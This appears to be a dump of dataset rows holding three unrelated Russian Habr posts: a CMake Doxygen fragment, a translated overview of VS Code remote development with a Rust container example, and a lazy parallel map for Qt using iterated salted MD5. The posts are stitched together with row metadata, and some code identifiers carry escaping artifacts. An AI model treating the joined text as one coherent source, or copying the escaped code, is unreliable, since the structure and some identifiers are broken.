> `1. SET(DOXY\_OUTPUT\_LANGUAGE "Russian")
> 2. SET(DOXY\_INPUT ${PROJECT\_SOURCE\_DIR})
> 3.
> 4. SET(DOXY\_ENABLED\_SECTIONS "user\_sec")
> 5. SET(DOXY\_OUTPUT\_DIRECTORY "${CMAKE\_CURRENT\_BINARY\_DIR}/doc-user")
> 6. ADD\_DOCUMENTATION(user\_doc Doxyfile)
> 7.
> 8. SET(DOXY\_ENABLED\_SECTIONS "developer\_sec")
> 9. SET(DOXY\_OUTPUT\_DIRECTORY "${CMAKE\_CURRENT\_BINARY\_DIR}/doc-developer")
> 10. ADD\_DOCUMENTATION(developer\_doc Doxyfile)
> 11.
> 12. ADD\_CUSTOM\_TARGET(doc DEPENDS user\_doc developer\_doc)
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/133512/ | null | ru | null |
# Удалённая разработка в VS Code: ваша жизнь никогда не будет прежней
*У нас в [TestMace](https://client.testmace.com/) Visual Studio Code является одним из самых популярных инструментов. И тем более отрадно, что он развивается семимильными шагами. Вашему вниманию предлагается перевод статьи об еще одной вкусной фиче, которая доступна пока только в VS Code Insiders.*
Согласен, немного переборщил с заголовком, просто меня переполняют эмоции. Я решил поделиться своими первыми впечатлениями от [удалённой разработки в VS Code](https://code.visualstudio.com/docs/remote/remote-overview?WT.mc_id=-blog-scottha), на момент написания статьи доступной в VS Code Insiders.
[Расширения для удалённой разработки](https://aka.ms/vscode-remote/download) требуют установки [Visual Studio Code Insiders](https://code.visualstudio.com/insiders?WT.mc_id=-blog-scottha).
**Возможность удалённой разработки в Visual Studio Code** — это возможность использовать контейнер, удалённый компьютер или [подсистему Windows для Linux (WSL)](https://docs.microsoft.com/windows/wsl?WT.mc_id=-blog-scottha) в качестве полноценной среды разработки. При этом весь процесс разбивается на две части: клиентская часть приложения запускается на локальном компьютере, а сервер VS Code практически где угодно. [Комплект расширений для удалённой разработки](https://aka.ms/vscode-remote/download/extension) включает в себя три расширения. Следующие три статьи помогут изучить каждое из них более детально:
* [Remote — SSH](https://code.visualstudio.com/docs/remote/ssh?WT.mc_id=-blog-scottha) — получение доступа к любой директории на удалённой или виртуальной машине с помощью SSH.
* [Remote — Containers](https://code.visualstudio.com/docs/remote/containers?WT.mc_id=-blog-scottha) — работа с изолированным набором инструментальных средств или контейнерезированными приложениями внутри контейнера (или подмонированными в контейнер).
* [Remote — WSL](https://code.visualstudio.com/docs/remote/wsl?WT.mc_id=-blog-scottha) — разработка приложений в подсистеме Windows для Linux (WSL).
Приведу конкретный пример. Допустим, необходимо разработать приложение на каком-либо языке, но на вашем компьютере нет ни самого языка, ни SDK, ни нужных инструментов.
Многие разработчики, пишущие под Windows, создают виртуальные машины Windows в облаке, а затем подключаются к рабочему столу по RDP и рулят виндовыми окошками. При этом виртуальная машина выполняет все сопутствующие операции. Разработчики, пишущие под Linux, создают виртуальные машины Linux или контейнеры и подключаются к ним по SSH через терминал, запускают vim или tmux и строчат в консоль. При этом виртуальная машина выполняет все сопутствующие операции. В обоих сценариях реализуется не клиент-серверное соединение, а взаимодействие терминала или тонкого клиента с сервером. VS Code — толстый клиент с чётким и понятным интерфейсом языковых служб и прозрачностью местоположения.
Когда вы пишете код — например, экземпляр объекта, и после символа точки (.) у вас срабатывает автодополнение названий содержимого этого объекта. Кто выполняет эту работу? Откуда берётся этот список? Если код запускается локально, да ещё и в контейнере, необходимо убедиться, что обе стороны (клиент и сервер) синхронизированы, используют один и тот же SDK и тому подобное. Непростая задача.
Допустим, на вашем компьютере не установлен Rust и необходимые для разработки инструменты.
Тогда производим клонирование следующего репозитория:
```
git clone https://github.com/Microsoft/vscode-remote-try-rust
```
Запускаем VS Code Insiders:
```
C:\github> git clone https://github.com/Microsoft/vscode-remote-try-rust
Cloning into 'vscode-remote-try-rust'...
Unpacking objects: 100% (38/38), done.
C:\github> cd .\vscode-remote-try-rust\
C:\github\vscode-remote-try-rust [main =]> code-insiders .
```
Затем VS Code интересуется, хотите ли вы открыть данный контейнер.
В файле devcontainer.json содержится список расширений, необходимых для текущего проекта. Расширения VS Code будут установлены в контейнер Docker, а затем их можно будет использовать удалённо. Ваша локальная система вовсе не нуждается во всех них, достаточно установить только те, которые вы планируете использовать в текущем проекте. Конечно, можно обойтись вообще без установки чего-либо на свой локальный компьютер, но золотая середина в том, чтобы избавиться от излишнего ручного конфигурирования системы.
Посмотрите на скриншот ниже. Здесь необходимые вам инструментальные средства добавляются в файл dockerfile, запускается исполняемый файл Docker, и мы видим сервер VS Code!
Зайдите в раздел Extensions в VS Code и обратите внимание на левый нижний угол. Зелёная строка состояния сигнализирует о том, что реализовано клиент-серверное взаимодействие. Все нужные расширения Rust установлены в контейнер и готовы к использованию в VS Code. Весь процесс установки занял считанные минуты.
Редактируя код таким способом, вы получаете те же функции автодополнения, отладки и прочее.
Вот пример сеанса отладки приложения на Rust в режиме реального времени, не требующего никакой настройки, кроме установки VS Code Insiders, Remote Extensions, и Docker (который у меня уже был).
Как я уже говорил, [вы можете запускать код с помощью WSL, в контейнерах или через SSH](https://code.visualstudio.com/docs/remote/remote-overview?WT.mc_id=-blog-scottha). Такой стиль разработки только набирает обороты. Он прост и понятен, и мне очень интересно понаблюдать, куда это нас приведёт. Нам приходится выполнять так много [рутинных задач](https://www.hanselman.com/blog/YakShavingDefinedIllGetThatDoneAsSoonAsIShaveThisYak.aspx), а удалённое редактирование кода позволяет выкинуть из процесса разработки всё лишнее, и сконцентрировать своё внимание на самом главном. | https://habr.com/ru/post/454280/ | null | ru | null |
# Ленивый map на Qt
В Qt есть возможность параллельного выполнения вашей функции для каждого члена последовательности — [QtConcurrent::mapped()](http://qt-project.org/doc/qt-4.8/qtconcurrentmap.html#mapped) и его друзья.
Проблема только в одном — результаты сохраняются в QVector. Поэтому, когда мне понадобилось выполнить свою функцию для 65 миллионов кусочков данных, я не стал мучать оперативку, а написал примерно то же самое, только более ленивое, то есть новые значения будут вычисляться, только если старые уже использовались.
Код: [bitbucket.org/cblp/threadpool](https://bitbucket.org/cblp/threadpool/src)
##### Под капотом
ThreadPool наследует QThreadPool. Функция ThreadPool::map() принимает итератор в стиле Java на входе и функцию преобразования, возвращает итератор в стиле Java с результатами.
Ваша функция оборачивается в QRunnable и в количестве M=maxThreadCount штук (как правило, это количество процессоров) закидывается в QThreadPool.
FutureIterator предоставляет методы hasNext() и next(), которые возвращают следующий результат, если он есть, или блокируются, пока следующий результат не будет готов. Если M текущих задач выполнены, а за результатами никто не пришёл, вычислители блокируются.
##### Пример
Прочитать из стандартного ввода строки, от каждой посчитать N-кратный MD5 с солью, результат записать в стандартный вывод. (Это сильно изменённый пример из реальной жизни.)
```
const uint N = 10000;
const QString Salt = "5417";
QByteArray md5_N_times(QString line)
{
QByteArray data = line.toUtf8();
for ( uint i = 0; i < N; ++i )
data = QCryptographicHash::hash(Salt.toUtf8() + data, QCryptographicHash::Md5);
return data;
}
int main()
{
QTextStream input(stdin);
QTextStream output(stdout);
ThreadPool pool;
FutureIterator results = pool.map(
QTextStreamIterator(input),
md5\_N\_times
);
while ( results.hasNext() )
output << results.next().toHex() << endl;
return 0;
}
```
Всё это пока довольно сыро, например, нельзя запустить в одном бассейне несколько задач так, чтобы они друг другу не мешали. Можете предлагать свои улучшения. | https://habr.com/ru/post/155277/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.